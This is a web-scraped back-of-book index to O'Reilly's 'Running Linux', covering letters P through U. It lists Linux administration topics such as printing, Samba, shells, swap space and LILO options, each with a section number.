troubleshooting configuration: 15.2.1.3.4. Troubleshooting PPP Configuration
pppd daemon: 15.2.1.1. Requirements
15.2.1.3.2. Starting up pppd
<pre> HTML tag: 16.1.4.6. More HTML features
prefix keys, rebinding: 9.2.8. Tailoring Emacs
preformatted text: 16.1.4.6. More HTML features
PReP (PowerPC Reference Platform): D.1.1. Other PowerPC Platforms
prerequisites: 13.2. Makefiles
primary mailer: 16.2.1.4. smail EDITME file
16.2.1.5. The mkconfig file
primary partitions: 2.2.2. Repartitioning Concepts
print command (gdb): 14.1.1. Tracing a Program
14.1.4. Changing and Examining Data
print spool: 9.5. Printing
9.5.1. What Happens to a File After It's Put on the Queue
printcap file: 8.4. Managing Print Services
8.4.5. Setting Up the Printcap File
8.4.14. Printer System Troubleshooting
9.5. Printing
9.5.1. What Happens to a File After It's Put on the Queue
12.1.3.2. Configuring Samba
PRINTER environment variable: 9.5. Printing
printer ports: 8.4. Managing Print Services
printing: 9.5. Printing
BSD elements: 8.4.10. BSD Print System Elements: Files, Directories, and Utilities
doublesided: 8.4.4. Checking Print Utilities
fax devices: 8.4.4. Checking Print Utilities
filters (see filters, printing)
from Ghostview: 11.4.8. Ghostview: Displaying PostScript
GNOME architecture: B.5.4. The GNOME Printing Architecture
hardware for: 1.9.6.4. Printers
8.4.1. Checking Printer Hardware
managing: 8.4. Managing Print Services
nenscript utility: 9.5.2. nenscript
printer names: 8.4.5.2. Printer names
remotely: 8.4.5.3. The rest of the printcap variables
service maintenance: 8.4.13. Printer Optimization
software for: 8.4.3. Choosing Printer Software
TeX documents: 9.3.1.2. Formatting and printing
troubleshooting system: 8.4.14. Printer System Troubleshooting
printing services (Windows): 12.1.3.2. Configuring Samba
/private/usr/lib/smail/config file: 16.2.1.7. smail runtime configuration files
Pro Audio Spectrum SCSI interfaces: 3.1.1. Booting Linux
/proc filesystem: 3.2.3. Editing /etc/fstab
5.6. The /proc filesystem
6.1.1. Filesystem Types
/proc/dma file: 5.6. The /proc filesystem
/proc/interrupts file: 5.6. The /proc filesystem
/proc/ioports file: 5.6. The /proc filesystem
/proc/meminfo file: 5.6. The /proc filesystem
processes: 4.18. Processes
processor family: 7.4.2. Building the Kernel
processor instruction-level debugging: 14.1.6.2. Instruction-level debugging
processors (see CPU)
architectures of: 1.4.2. A Bag of Features
Prodigy, obtaining Linux from: 2.1.3. Getting Linux from Other Online Sources
profiling tools: 14.2.2. Profiling and Performance Tools
program sharing between Windows and Linux: 12.2. Sharing Programs
programming: 1.5.4. Programming Languages and Utilities
within Emacs: 9.2.7. Running Commands and Programming Within Emacs
languages: 13. Programming Languages
tools for: 14. Tools for Programmers
programming languages
Ada: 13.7. Other Languages
C, C++: 1.5.4. Programming Languages and Utilities
13.1. Programming with gcc
13.1.8. Using C++
compiler: 13.1. Programming with gcc
FORTRAN: 13.7. Other Languages
Java: 1.5.4. Programming Languages and Utilities
13. Programming Languages
13.6. Java
AWT (Abstract Window Toolkit): 13.6.3. A Working Example of Java
obtaining for Linux (JDK): 13.6.2. Getting Java for Linux
LISP: 13.7. Other Languages
Pascal: 13.7. Other Languages
Perl: 13.4. Using Perl
Python: 13.7. Other Languages
Scheme: 13.7. Other Languages
Tcl: 13.5. Programming in Tcl and Tk
14.2.6. Interface Building Tools
Tk: 13.5. Programming in Tcl and Tk
14.2.6. Interface Building Tools
programs
daemons: 4.17. Programs That Serve You
debugging (see debugging)
getting information on: 14.1.5. Getting Information
performance rating tools: 14.2.2. Profiling and Performance Tools
project trees, CVS: 14.2.8. Revision Control Tools--CVS
prompt
login: 3.3.1. Problems with Booting the Installation Media
4.1. Logging In
root user: 5.1. Running the System
shell: 4.1. Logging In
prompt option (LILO): G.1. Global Options
prompt (shell): 3.3.4.4. Problems using the system
prompt_ramdisk= option: G.3. Kernel Options
proportional fonts: 11.4.5. Choosing Fonts
proprietary file formats: 12.1.5. File Translation Utilities
ps command: 4.18. Processes
8.4.11. Exercising the Printer Daemon
ptype command (gdb): 14.1.4. Changing and Examining Data
pw variable (printcap): 8.4.5.3. The rest of the printcap variables
pwconv command: 5.7.2. Shadow Passwords
pwuconv command: 5.7.2. Shadow Passwords
Python language: 13.7. Other Languages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q (Running Linux)

CGI Programming with PerlSearch this book

Index: Q

QNX4 filesystem: 6.1.1. Filesystem Types
Qt package: 14.2.6. Interface Building Tools
qualify file: 16.2.1.7. smail runtime configuration files
question mark (?): 4.8. Filename Expansion
queue, print: 8.4.12. Controlling Printer Services with lpc
9.5. Printing
9.5. Printing
9.5.1. What Happens to a File After It's Put on the Queue
quit command (gdb): 14.1.1. Tracing a Program
quotation mark ("): 16.1.4.6. More HTML features

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R (Running Linux)

CGI Programming with PerlSearch this book

Index: R

RAM (see memory)
ramdisk: 3.1.1. Booting Linux
3.3.1. Problems with Booting the Installation Media
ramdisk= option: G.3. Kernel Options
5.2.2.3. Specifying boot time options
ramdisks: 5.2.2.3. Specifying boot time options
ramdisk_size= option: G.3. Kernel Options
ramdisk_start= option: G.3. Kernel Options
range= option (LILO): G.2. Image Options
ranlib command: 13.1.7. More Fun with Libraries
RAWRITE.EXE program: 2.1.2. Getting Linux from the Internet
ray-tracing program: 9.4.3. POVRAY
rb utility (RZSZ): H. Zmodem File Transfer
rc.d directory: 5.3.3. rc files
rc.d/init.d directory: 5.3.3. rc files
rc.d/rc script: 5.3.2. init, inittab, and rc files
5.3.3. rc files
rc.d/rc.local script: 5.3.3. rc files
rc.d/rc.sprint file: 5.3.2. init, inittab, and rc files
rc.d/rc.sysinit program: 5.5. Shutting Down the System
RCS (Revision Control System): 14. Tools for Programmers
14.2.7. Revision Control Tools--RCS
rc.sysinit program: 5.5. Shutting Down the System
rdev command: 5.2.1. Using a Boot Floppy
5.2.2.1. The /etc/lilo.conf file
7.4.2. Building the Kernel
"Read error, file not found" error: 3.3.3. Problems Installing the Software
read-only filesystems: 3.1.1. Booting Linux
5.2.2.3. Specifying boot time options
6.1.2. Mounting Filesystems
6.1.5. Checking and Repairing Filesystems
read permission (see permissions)
"read_intr: 0x10" error: 3.3.3. Problems Installing the Software
README file: 2.1.2. Getting Linux from the Internet
rebooting (see booting, Linux)
recode utility: 12.1.5. File Translation Utilities
Red Hat Installer: D.4. Using the Red Hat Installer
Red Hat Linux
Alpha systems: C.2. The Linux Port
Motorola 68000-series systems: E.3. Distributions
Red Hat Package Manager (RPM): 7.3. Using RPM
redirection: 4.9. Saving Your Output
refresh rate: 10.4. Configuring XFree86
registering domain names: 16.2.3.1. Registering an address
registers: 9.1.11. Moving Text, and Using Registers
regression testing: 1.7. Open Source and the Philosophy of Linux
regular expressions: 4.8. Filename Expansion
13.4.1. A Sample Program
search for (Emacs): 9.2.5. Searching and Replacing
reinstalling vs. upgrading: 7.2. Upgrading Software
relative links: 16.1.4.3. Using links
remote
printing: 8.4.5.3. The rest of the printcap variables
removable storage devices: 1.9.6.3. Tape drives and removable storage
repairing filesystems: 6.1.5. Checking and Repairing Filesystems
8.6.1. Repairing Filesystems
repartitioning: 2.2.2. Repartitioning Concepts
Linux requirements: 2.2.3. Linux Partition Requirements
replacing text (see search and replace)
report-generation mechanism, Perl: 13.4.2. More Features
repository, CVS: 14.2.8. Revision Control Tools--CVS
14.2.8.1. Setting up a CVS repository
Requests for Comments (RFCs): A.5. Requests For Comments
resolv.conf file: 15.1.3.6. /etc/resolv.conf
15.2.1.3. Setting up PPP
resource classes: 11.1.2. The X Resource Database
resource configuration files: 4.15. Startup Files
resources, X: 11.1.2. The X Resource Database
restoring files from backup: 8.6.3. Restoring Files from Backup
restricted (global) option (LILO): G.1. Global Options
restricted (image) option (LILO): G.2. Image Options
retry file: 16.2.1.7. smail runtime configuration files
revision control
CVS (Concurrent Version System): 14.2.8. Revision Control Tools--CVS
over Internet: 14.2.8.3. CVS over the Internet
RCS (Revision Control System): 14. Tools for Programmers
14.2.7. Revision Control Tools--RCS
RFCs (Requests for Comments): A.5. Requests For Comments
rft# files: 8.1.1.1. Backing up to tape
rm command: 4.4.1. Directories
5.1. Running the System
6.3. Device Files
8.1. Making Backups
rm variable (printcap): 8.4.5.3. The rest of the printcap variables
RMAIL interface: 9.2.7. Running Commands and Programming Within Emacs
rmail package: 16.2.1. The smail Mail Transport Agent
16.2.1.6. Final smail installation notes
rmmod command: 7.5. Loadable Device Drivers
ro (boot-time option): 3.1.1. Booting Linux
5.2.2.3. Specifying boot time options
Rock RIdge Extensions (ISO 9660): 6.1.1. Filesystem Types
ROM filesystem: 6.1.1. Filesystem Types
root= (boot-time option): 5.2.2.3. Specifying boot time options
root (/) directory: 2.2.3. Linux Partition Requirements
3.1.1. Booting Linux
3.3.4.1. Problems booting Linux from floppy
5.2.1. Using a Boot Floppy
6.1.2. Mounting Filesystems
Not Found error: 3.3.1. Problems with Booting the Installation Media
as read-only: 5.2.2.3. Specifying boot time options
root account: 3.2.1. Creating a User Account
5.1. Running the System
5.7.1. The passwd File
backups and: 8.1. Making Backups
root floppy: 8.6. What to Do in an Emergency
root= option: G.3. Kernel Options
root password: 3.3.4.3. Problems logging in
rotation log files: 8.3. Managing System Logs
route command: 15.1.3.2. The networking rc files
15.1.3.2. The networking rc files
routed daemon: 15.1.3.2. The networking rc files
15.1.3.2. The networking rc files
routers file: 16.2.1.7. smail runtime configuration files
routing tables: 15.1.1. TCP/IP Concepts
debugging: 15.1.3.8. Trying out your network
rp variable (printcap): 8.4.5.3. The rest of the printcap variables
RPM (Red Hat Package Manager): 7.3. Using RPM
rsh command: 14.2.8.3. CVS over the Internet
run command (gdb): 14.1.1. Tracing a Program
14.1.6.1. Breakpoints and watchpoints
runlevels: 5.3.2. init, inittab, and rc files
5.3.3. rc files
rw parameter (linux): 3.1.1. Booting Linux
rw variable (printcap): 8.4.5.3. The rest of the printcap variables
rx utility (RZSZ): H. Zmodem File Transfer
rz utility (RZSZ): H. Zmodem File Transfer
H.2. Sending and Receiving Files
H.3. Summary of rz and sz Options
RZSZ package: H. Zmodem File Transfer

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: S (Running Linux)

CGI Programming with PerlSearch this book

Index: S

Samba: 1.5.7. Networking
12. Windows Compatibility and Samba
configuring: 12.1.3.2. Configuring Samba
installing: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
12.1.3.1. Installing Samba
mounting directories: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
sharing files: 12.1. Sharing Files
accessing Linux files: 12.1.3. Using Samba to Serve SMB Shares
accessing Windows files: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
file translation utilities: 12.1.5. File Translation Utilities
starting: 12.1.3.3. Starting Samba
<samp> HTML tag: 16.1.4.6. More HTML features
sandbox, Java: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
Sanyo CD-ROM interfaces: 3.1.1. Booting Linux
saving files
in Emacs: 9.2.2. Simple Editing Commands
within vi: 9.1.6. Saving Files and Quitting vi
saving output: 4.9. Saving Your Output
sb utility (RZSZ): H. Zmodem File Transfer
sbin directory: 4.16. Important Directories
/sbin/lilo command: 5.2.2.1. The /etc/lilo.conf file
sbpcd= parameter (linux): 3.1.1. Booting Linux
scheduling jobs with cron: 8.2. Scheduling Jobs Using cron
Scheme interpreters: 13.7. Other Languages
scientific computing applications: 1.5.10. Other Applications
ScriptAlias directive: 16.1.3.2. srm.conf
scripts: 1.5.1. Basic Commands and Utilities
CGI, for HTML forms: 16.1.5.2. Writing the CGI script
scrollbar (Emacs): 11.4.7. Emacs
scrolling, xterm: 11.4.4. Scrolling
SCSI drive controllers: 1.9.3. Hard Drive Controller Requirements
3.1.1. Booting Linux
3.1.1. Booting Linux
3.1.2. Drives and Partitions Under Linux
3.3.1. Problems with Booting the Installation Media
5.3.1. Kernel Boot Messages
building kernel: 7.4.2. Building the Kernel
troubleshooting: 3.3.2.3. Problems with SCSI controllers and devices
SCSI drives, LinuxPPC with: D.3.2. Partitioning the Hard Disk
sd variable (printcap): 8.4.5.3. The rest of the printcap variables
sda# files: 3.1.2. Drives and Partitions Under Linux
Seagate ST-Ox SCSI interfaces: 3.1.1. Booting Linux
search and replace
Emacs: 9.2.5. Searching and Replacing
vi: 9.1.4. Changing Text
9.1.10. Global Searching and Replacing
Second Extended filesystem: 6.1.1. Filesystem Types
secondary boot loader: 5.2.2.2. Using LILO as a secondary boot loader
section numbers for man pages: 4.12. Manual Pages
sectors= option (LILO): G.1. Global Options
security: 5.1. Running the System
authentication: 5.7.3. PAM and Other Authentication Methods
HTML-based forms: 16.1.5.2. Writing the CGI script
Java and: 13.6.1. The Promise of Java, or Why You Might Want to Use Java
multiple filesystems: 2.2.3. Linux Partition Requirements
passwords (see passwords)
revision control
CVS utility: 14.2.8. Revision Control Tools--CVS
RCS: 14. Tools for Programmers
RCS utility: 14.2.7. Revision Control Tools--RCS
root account and: 3.2.1. Creating a User Account
selecting a password: 4.2. Setting a Password
sendmail: 16.1.5.2. Writing the CGI script
upgrading software and: 7.2.3. Upgrading Other Software
user accounts: 5.7. Managing User Accounts
sendmail package: 16.2.1. The smail Mail Transport Agent
16.2.1.6. Final smail installation notes
serial device names: 15.2.1.2. Serial device names
Serial Line Internet Protocol (see SLIP)
serial= option (LILO): G.1. Global Options
serial ports, Alpha systems and: C.5.5. Mice and Serial Ports
server: 15.1.3.2. The networking rc files
(see also under specific daemon name)
name: 15.1.3.1. Your network configuration
NIS: 15.4.2. Configuring NIS
World Wide Web: 16.1.3. Configuring Your Own WWW Server
X (see X Window System)
Server Message Block (SMB): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
Server Resource Map file: 16.1.3.2. srm.conf
ServerType directive: 16.1.3.1. httpd.conf
services file: 16.2.1.6. Final smail installation notes
services (Windows), supporting: 12.1.3.1. Installing Samba
session management: B.3. The GNOME Desktop: A User's Point of View
11.3. The K Desktop Environment
setterm program: 8.5. Setting Terminal Attributes
setuid bit: 5.7. Managing User Accounts
setup-hdimage program: 12.2.3. Installing and Configuring Dosemu
Seyon package: H.5. Other Interesting Packages
1.5.8. Telecommunications and BBS Software
sh (Bourne shell): 4.5. Shells
shadow file: 3.2.1. Creating a User Account
5.7.2. Shadow Passwords
shadow passwords: 5.7.2. Shadow Passwords
shared libraries: 7.2.3. Upgrading Other Software
8.6.2. Accessing Damaged Files
13.1.1. Quick Overview
13.1.7. More Fun with Libraries
13.1.7.1. Creating shared libraries
upgrading: 7.2.1. Upgrading Libraries
shared memory addresses: 3.3.2.1. Isolating hardware problems
-shared switch (gcc): 13.1.7.1. Creating shared libraries
shares (see Windows partitions)
shareware: 1.6. About Linux's Copyright
sharing between Windows and Linux
file translation utilities: 12.1.5. File Translation Utilities
files: 12.1. Sharing Files
12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
12.1.3. Using Samba to Serve SMB Shares
programs: 12.2. Sharing Programs
shell mode (Emacs): 9.2.7. Running Commands and Programming Within Emacs
shells: 1.5.1. Basic Commands and Utilities
4.5. Shells
commands in makefile: 13.2.5. Multiple Commands
prompt: 3.3.4.4. Problems using the system
4.1. Logging In
scripts: 1.5.1. Basic Commands and Utilities
13.3. Shell Programming
vi and shell commands: 9.1.9. Running Shell Commands
shutdown command: 3.2.4. Shutting Down the System
shutting down: 3.2.4. Shutting Down the System
5.3.3. rc files
5.5. Shutting Down the System
signals: 14.1.2. Examining a Core File
SILO bootloader: F.3.2. The SILO Boot Loader
single (boot-time option): 5.2.2.3. Specifying boot time options
single-user mode, Linux in: 5.2.2.3. Specifying boot time options
5.4. Single-User Mode
size of page (Ghostview): 11.4.8. Ghostview: Displaying PostScript
sjcd= parameter (linux): 3.1.1. Booting Linux
skel directory: 3.2.1. Creating a User Account
4.16. Important Directories
5.7.5. Creating Accounts
slash (/) for root directory: 2.2.3. Linux Partition Requirements
3.3.1. Problems with Booting the Installation Media
3.3.4.1. Problems booting Linux from floppy
5.2.1. Using a Boot Floppy
5.2.2.3. Specifying boot time options
6.1.2. Mounting Filesystems
slaves, NIS: 15.4.2. Configuring NIS
SLIP (Serial Line Internet Protocol): 1.5.7. Networking
15.1. Networking with TCP/IP
15.1.2. Hardware Requirements
15.2. Dial-up PPP
smail package: 16.2.1. The smail Mail Transport Agent
runtime configuration files: 16.2.1.7. smail runtime configuration files
smart host: 16.2.1.2. Configuring a Linux-installed smail package
16.2.1.5. The mkconfig file
smart user: 16.2.1.2. Configuring a Linux-installed smail package
16.2.1.5. The mkconfig file
SMB protocol: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
smbclient utility: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
12.1.3.1. Installing Samba
smb.conf file: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
12.1.3.1. Installing Samba
smbd daemon: 12.1.3.1. Installing Samba
12.1.3.2. Configuring Samba
12.1.3.3. Starting Samba
smbmount command: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network
SMTP daemon: 13.4.2. More Features
smtpd daemon: 16.2.1. The smail Mail Transport Agent
software: 1.5. Software Features
alpha and beta stages: 1.7. Open Source and the Philosophy of Linux
for fax devices: 8.4.4. Checking Print Utilities
free: 1.6. About Linux's Copyright
FTP sites for: A.4. General Software FTP Sites
installing: 3.1.6. Installing the Software
RPM for: 7.3. Using RPM
troubleshooting: 3.3.3. Problems Installing the Software
installing on Alpha systems: C.6.1. Preparing Software for Installation
memory requirements of: 2.2.3. Linux Partition Requirements
Open Source Software: 1.7. Open Source and the Philosophy of Linux
printing: 8.4.3. Choosing Printer Software
source distributions: 7.2.3. Upgrading Other Software
telecommunications (see telecommunications software)
upgrading: 7.2. Upgrading Software
libraries: 7.2.1. Upgrading Libraries
soncd535= parameter (linux): 3.1.1. Booting Linux
Sony CD-ROM interfaces: 3.1.1. Booting Linux
Sony CDU-535 interfaces: 3.1.1. Booting Linux
sort command: 4.9. Saving Your Output
sound: 1.5.10. Other Applications
sound card support: 7.4.2. Building the Kernel
SoundBlaster Pro CD-ROM interfaces: 3.1.1. Booting Linux
source code: 13.1.1. Quick Overview
source files: 13.1.4. Using Multiple Source Files
special characters in HTML: 16.1.4.6. More HTML features
speed (see performance)
spool, print: 9.5. Printing
9.5. Printing
9.5.1. What Happens to a File After It's Put on the Queue
directories for: 8.4.10.1. Setting up printer directories
src directory: 4.16. Important Directories
7.2.3. Upgrading Other Software
SRM console firmware: C.3.3. Limitations of the SRM Console Firmware
srm.conf file: 16.1.3.2. srm.conf
st# files: 8.1.1.1. Backing up to tape
ST-506 drives: 3.1.1. Booting Linux
stack frames: 14.1.2. Examining a Core File
Stacker: 6.1.1. Filesystem Types
Stallman, Richard: B.2. A Brief History of the GNOME Project
standard error: 4.9. Saving Your Output
standard output (see output)
Star Office v5.0: 1.5.3. Commercial Applications
9.3.4. Word Processors
12.1.5. File Translation Utilities
start command (lpc): 8.4.12. Controlling Printer Services with lpc
start-up files: 4.15. Startup Files
starting up commands (rc files): 5.3.3. rc files
startkde shell script: 11.3.1. Installing KDE
startx command (see X Window System)
static libraries: 13.1.1. Quick Overview
13.1.7. More Fun with Libraries
step command (gdb): 14.1.1. Tracing a Program
14.1.6.1. Breakpoints and watchpoints
stepi command (gdb): 14.1.6.2. Instruction-level debugging
stop command (lpc): 8.4.12. Controlling Printer Services with lpc
Stopped (tty input) error: 4.11. Putting a Command in the Background
storage (see disk space)
strace program: 14.2.3. Using strace
stty command: 4.6. Useful Keys and How to Get Them to Work
stub code: 13.1.1. Quick Overview
stub routines: 7.2.1. Upgrading Libraries
st0x= parameter (linux): 3.1.1. Booting Linux
Style command (fvwm): 11.2.1. Configuring fvwm
style for KDE desktop: 11.3.2. Using KDE
su command: 5.1. Running the System
submit buttons: 16.1.5.1. The HTML form document
subnetwork address: 15.1.1. TCP/IP Concepts
15.1.3.1. Your network configuration
15.1.3.1. Your network configuration
suffix rules (make): 13.2.4. Suffix Rules and Pattern Rules
Sun SPARC systems: F. Installing Linux on Sun SPARC Systems
differences from Intel installations: F.3. Installation Differences from Intel
hardware: F.1. Supported Hardware
installing from serial console: F.4. Installation from a Serial Console
SILO bootloader: F.3.2. The SILO Boot Loader
system libraries: F.2. System Libraries
superblock (filesystems): 8.6.1. Repairing Filesystems
superblocks (filesystems): 6.1.2. Mounting Filesystems
SuperProbe program: 10.2. Hardware Requirements
10.5. Filling in Video Card Information
superuser (see root account)
SuSE Linux: C.2. The Linux Port
SVGA chipsets: 10.2. Hardware Requirements
swap partitions
LinuxPPC installation: D.3.2. Partitioning the Hard Disk
MS-DOS emulators: 12.2.1. DOS Emulators: Dosemu and xdos
Wine emulator: 12.2.4. Windows Emulation: Wine
swap space: 1.4.3. Kernel
1.9.2. Memory Requirements
1.9.4. Hard Drive Space Requirements
5.3.1. Kernel Boot Messages
6.2. Managing Swap Space
swap partitions: 2.2.3. Linux Partition Requirements
3.1.3. Creating Linux Partitions
3.1.4. Creating Swap Space
swapoff command: 6.2.3. Disabling Swap Space
swapon command: 3.1.4. Creating Swap Space
6.2.2. Enabling the Swap Space
SWI-Prolog: 13.7. Other Languages
Swing (Java): 13.6.3. A Working Example of Java
sx utility (RZSZ): H. Zmodem File Transfer
symbolic links: 4.4.4. Symbolic Links
in rc files: 5.3.3. rc files
"symbols missing" error: 7.5. Loadable Device Drivers
symmetric multi-processing support: 7.4.2. Building the Kernel
sync command: 6.1.2. Mounting Filesystems
6.2.1. Creating Swap Space
synchronous PPP: 15.3.2. Setting Up Synchronous PPP
troubleshooting: 15.3.3. And If It Does Not Work?
Sysctl support: 7.4.2. Building the Kernel
syslog.conf file: 8.3. Managing System Logs
syslogd daemon: 8.3. Managing System Logs
15.1.3.2. The networking rc files
syslogd.conf file: 15.1.3.2. The networking rc files
system
administration of: 5. Essential System Management
hung: 3.3.1. Problems with Booting the Installation Media
problems working with: 3.3.4.4. Problems using the system
shutting down (see shutting down)
system calls: 1.4.3. Kernel
displaying with strace: 14.2.3. Using strace
Dosemu and: 12.2.1. DOS Emulators: Dosemu and xdos
Perl and: 13.4.2. More Features
System V filesystem: 6.1.1. Filesystem Types
System V IPC: 7.4.2. Building the Kernel
12.2.3. Installing and Configuring Dosemu
sz utility (RZSZ): H. Zmodem File Transfer
H. Zmodem File Transfer
H.2. Sending and Receiving Files
H.3. Summary of rz and sz Options

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: T (Running Linux)

CGI Programming with PerlSearch this book

Index: T

t128= parameter (linux): 3.1.1. Booting Linux
Tab character: 13.2.2. Some Syntax Rules
Tab Key: 4.7.1. Word Completion
table= option (LILO): G.2. Image Options
tags, HTML: 16.1.4.1. HTML basics
Tanenbaum, Andrew: 1.2. A Brief History of Linux
tape, backing up to: 8.1.1.1. Backing up to tape
tape drives: 1.9.6.3. Tape drives and removable storage
tar utility: 7.1.2. Using tar
8.1.1. Simple Backups
8.6.3. Restoring Files from Backup
errors: 3.3.3. Problems Installing the Software
gzip utility with: 7.1.3. Using tar with gzip
performing tricks with: 7.1.4. tar Tricks
target command (gdb): 14.1.3. Debugging a Running Program
targets: 13.2. Makefiles
13.2.1. What make Does
taskbar, KDE: 11.3.2. Using KDE
Tcl language: 13.5. Programming in Tcl and Tk
14.2.6. Interface Building Tools
TclMotif language: 14.2.6. Interface Building Tools
tclsh interpreter: 13.5. Programming in Tcl and Tk
TCP (Transmission Control Protocol): 15.1.1. TCP/IP Concepts
TCP/IP: 1.5.7. Networking
15.1. Networking with TCP/IP
configuring with Ethernet: 15.1.3. Configuring TCP/IP with Ethernet
networking: 1.4.2. A Bag of Features
tcsh shell: 4.5. Shells
13.3. Shell Programming
technical support: 1.11. Getting Help
hardware: 1.9. Hardware Requirements
telecommunications: 1.5.8. Telecommunications and BBS Software
term utility: 1.5.8. Telecommunications and BBS Software
Zmodem protocol: H. Zmodem File Transfer
telnet program: 15.1.1. TCP/IP Concepts
term utility: H.5. Other Interesting Packages
1.5.8. Telecommunications and BBS Software
terminal
attributes: 8.5. Setting Terminal Attributes
device: 5.3.3. rc files
emulating: 15.2.1.3.1. Writing a chat script
logins: 5.3.3. rc files
test mode: H.4. Some Zmodem Usage Notes
terminations, cable: 3.3.2.3. Problems with SCSI controllers and devices
testparm utility: 12.1.3.1. Installing Samba
12.1.3.1. Installing Samba
12.1.3.2. Configuring Samba
testprns program: 12.1.3.2. Configuring Samba
TeX: 1.5.2. Text Processing and Word Processing
8.4.4. Checking Print Utilities
9.3.1. TeX and LaTeX
Texinfo: 1.5.2. Text Processing and Word Processing
9.3.3. Texinfo
text
cutting, pasting in xterm: 11.4.3. Cutting and Pasting Selections
editors: 1.5.1. Basic Commands and Utilities
4. Basic Unix Commands and Concepts
9. Editors, Text Tools, Graphics, and Printing
command-line bindings: 4.7.2. Moving Around Among Commands
formatting in HTML: 16.1.4.6. More HTML features
formatting languages for: 1.5.2. Text Processing and Word Processing
processing: 1.5.2. Text Processing and Word Processing
9.3. Text and Document Processing
<textarea> HTML tag: 16.1.5.1. The HTML form document
Thinkpad systems: 3.1.1. Booting Linux
tilde (~) for home directory: 4.4.1. Directories
tilde (~) in vi editor: 9.1.1. Starting vi
time, cron utility and: 8.2. Scheduling Jobs Using cron
timeout errors: 3.3.2.3. Problems with SCSI controllers and devices
timeout= option (LILO): G.1. Global Options
Tk module (Perl): 13.4.2. More Features
Tk programming extension: 13.5. Programming in Tcl and Tk
14.2.6. Interface Building Tools
tkman system: 11.4.9. xman: A Point-and-Click Interface to Manual Pages
tmc8xxx= parameter (linux): 3.1.1. Booting Linux
/tmp directory: 8.2. Scheduling Jobs Using cron
Torvalds, Linus: 1.2. A Brief History of Linux
1.6. About Linux's Copyright
7.4. Building a New Kernel
tracing programs: 14.1.1. Tracing a Program
trackpads with LinuxPPC: D.6.2. PowerBook Trackpads
transferring files with Zmodem: H. Zmodem File Transfer
translating files between Windows and Linux: 12.1.5. File Translation Utilities
Transmission Control Protocol (TCP): 15.1.1. TCP/IP Concepts
15.1.1. TCP/IP Concepts
(see also TCP/IP)
transports file: 16.2.1.7. smail runtime configuration files
Trantor T128 SCSI interfaces: 3.1.1. Booting Linux
Troan, Erik: B.2. A Brief History of the GNOME Project
troff: 9.3.2. groff
14.2.10. Indenting Code
trojan horses: 7.2.3. Upgrading Other Software
troubleshooting: 14.1.2. Examining a Core File
(see also debugging)
filesystems: 6.1.5. Checking and Repairing Filesystems
8.6.1. Repairing Filesystems
hardware: 3.3.2. Hardware Problems
Linux installation: 3.3. Running Into Trouble
log files and: 8.3. Managing System Logs
logging in: 3.3.4.3. Problems logging in
networks: 15.1.3.8. Trying out your network
PPP configuration: 15.2.1.3.4. Troubleshooting PPP Configuration
printer system: 8.4.14. Printer System Troubleshooting
software installation: 3.3.3. Problems Installing the Software
synchronous PPP: 15.3.3. And If It Does Not Work?
system emergencies: 8.6. What to Do in an Emergency
X Window Server: 10.7. Running Into Trouble
<tt> HTML tag: 16.1.4.6. More HTML features
ttys# and ttyS# files: 8.4.1. Checking Printer Hardware
tunelp command: 8.4.13. Printer Optimization
8.4.14. Printer System Troubleshooting
twm window manager: 1.5.5. The X Window System
11.2. The fvwm Window Manager
type attribute (HTML): 16.1.5.1. The HTML form document
typing shortcuts (see keyboard shortcuts)
4.8. Filename Expansion
11.2.2. More Customizations
key bindings: 9.2.8. Tailoring Emacs

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: U (Running Linux)

CGI Programming with PerlSearch this book

Index: U

UDP (User Datagram Protocol): 15.1.1. TCP/IP Concepts
UFS filesystem: 6.1.1. Filesystem Types
UIDs (user IDs)
NFS, NIS and: 15.4.1. Configuring NFS
<ul> HTML tag: 16.1.4.6. More HTML features
UltraSPARC systems: F.1.4. UltraSPARC 64-bit Systems
F.5. SPARC-specific Issues After Installation
umount command: 6.1.2. Mounting Filesystems
UMSDOS filesystem: 6.1.1. Filesystem Types
uname command: 7.4. Building a New Kernel
uncompress program: 7.1.1. Using gzip and bzip2
uncompressing files (see compression)
undo command (Emacs): 11.4.7. Emacs
undoing edits (vi editor): 9.1.3. Deleting Text and Undoing Changes
Uniform Resource Locators (URLs): 16.1. The World Wide Web
Unix: 1.2. A Brief History of Linux
commands: 1.5.1. Basic Commands and Utilities
4. Basic Unix Commands and Concepts
commercial implementations of: 1.8.4. Other Implementations of Unix
Perl language: 13.4. Using Perl
unmask command: 4.14. Changing the Owner, Group, and Permissions
unmounting filesystems: 6.1.2. Mounting Filesystems
unnumbered lists in HTML: 16.1.4.6. More HTML features
unpacking (see compression)
unsafe option (LILO): G.2. Image Options
up command (lpc): 8.4.12. Controlling Printer Services with lpc
update program: 5.5. Shutting Down the System
upgrading: 7.2. Upgrading Software
compiler: 7.2.2. Upgrading the Compiler
kernel patches: 7.4.1.2. Applying patches
libraries: 7.2.1. Upgrading Libraries
UPS debugger: 14.2.1. Debuggers
URLs (Uniform Resource Locators): 16.1. The World Wide Web
Usenet (see news)
